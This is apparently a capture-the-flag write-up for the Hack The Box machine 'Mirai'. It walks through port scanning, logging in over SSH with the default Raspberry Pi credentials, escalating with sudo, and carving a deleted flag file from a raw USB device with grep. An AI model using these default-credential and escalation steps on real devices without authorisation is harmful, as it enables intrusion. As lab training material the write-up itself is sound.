OS: Linux, Difficulty: Easy, IP:

Initial enumeration

# Nmap 7.80 scan initiated Mon Sep 30 18:50:39 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 22,53,80,32469,32414,1214,32400
Nmap scan report for
Host is up (0.22s latency).
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1214/tcp open upnp Platinum UPnP (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Unauthorized
32414/tcp closed unknown
32469/tcp open upnp Platinum UPnP (UPnP/1.0 DLNADOC/1.50)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 32414/tcp)
1 217.00 ms
2 217.36 ms
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 30 18:51:22 2019 -- 1 IP address (1 host up) scanned in 43.62 seconds

So apparently we had a PLEX server running on this machine, for some reason. Anyways we had 2 web-servers, 1 DNS port, and 1 SSH port to work with.

Ensure that you edit your /etc/hosts file to point the IP address to the domain of mirai.htb else the website won't load.

Default page of the website

So I planned on running gobuster on the website to see what all things I can get.

/admin (Status: 301)
/versions (Status: 200)

Only the /admin directory was something interesting and it had an installation of Pi-Hole. Nothing interesting was going on here, neither on the PLEX server website, it was a default installation. However the name strike to me and I searched for Pi-Hole default credentials and gave it a try on the SSH server, and this vector worked just fine.

Default credentials: pi:raspberry

[email protected]'s password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 30 13:36:28 2019 from
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)

User own

[email protected]:~ $ cat /home/pi/Desktop/user.txt; echo

There was not much science to the user.txt file, however it turns out, getting the root.txt will be a hell of a ride.

Root own

So as I saw that we are part of the sudo group I immediately tried for sudo -l and tried to find what all can I work with, and lo behold, I can be root.

[email protected]:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:

So I went ahead and tried reading the /root/root.txt file. To my surprise the contents of the file were the following.

[email protected]:~ $ sudo cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

This seemed like an external mounting so it was obvious to check /mnt and /media directories.

# /mnt had nothing
[email protected]:~ $ cd /mnt
[email protected]:/mnt $ ls -la
total 4
drwxr-xr-x 2 root root 3 Nov 2 2016 .
drwxr-xr-x 35 root root 4096 Aug 14 2017 ..
# However, the media folder had some interesting information
[email protected]:/mnt $ cd /media
[email protected]:/media $ ls -la
total 9
drwxr-xr-x 3 root root 4096 Aug 14 2017 .
drwxr-xr-x 35 root root 4096 Aug 14 2017 ..
drwxr-xr-x 3 root root 1024 Aug 14 2017 usbstick
[email protected]:/media $ cd usbstick/
[email protected]:/media/usbstick $ ls -al
total 18
drwxr-xr-x 3 root root 1024 Aug 14 2017 .
drwxr-xr-x 3 root root 4096 Aug 14 2017 ..
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
[email protected]:/media/usbstick $ cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

So as per the notes it turns out that the file has been deleted! Shucks! So after googling I came to a solution on how to recover deleted files from a folder.

grep -a -C 500 'known pattern' /dev/sda | tee /tmp/recover

For this command to run we had to figure out the device file of the usbstick, for this we can simply run df -T and check for the mounting.

[email protected]:/media/usbstick $ df -T
Filesystem Type 1K-blocks Used Available Use% Mounted on
aufs aufs 8856504 2877048 5506524 35% /
tmpfs tmpfs 102408 4864 97544 5% /run
/dev/sda1 iso9660 1354528 1354528 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 squashfs 1267456 1267456 0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs tmpfs 256020 0 256020 0% /lib/live/mount/overlay
/dev/sda2 ext4 8856504 2877048 5506524 35% /lib/live/mount/persistence/sda2
devtmpfs devtmpfs 10240 0 10240 0% /dev
tmpfs tmpfs 256020 8 256012 1% /dev/shm
tmpfs tmpfs 5120 4 5116 1% /run/lock
tmpfs tmpfs 256020 0 256020 0% /sys/fs/cgroup
tmpfs tmpfs 256020 10252 245768 5% /tmp
/dev/sdb ext4 8887 93 8078 2% /media/usbstick
tmpfs tmpfs 51204 0 51204 0% /run/user/999
tmpfs tmpfs 51204 0 51204 0% /run/user/1000

It turns out the usbstick is from /dev/sdb device so we can go ahead and run the specified command.

grep -a -C 500 'root.txt' /dev/sdb

The output may take some time to populate, so be patient.

--- SNIP ---
* !92Y2Y2Y
+ !9;9Y3
([" 1YS1Y
<Byc[B)>r &<yZ.Gum^>
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

So we have the root.txt file contents, thus completing the challenge.

Learning outcome

I learned about device files, mounting, and getting deleted files back. This was a good box, looked straight forward but had it's own twist and turns.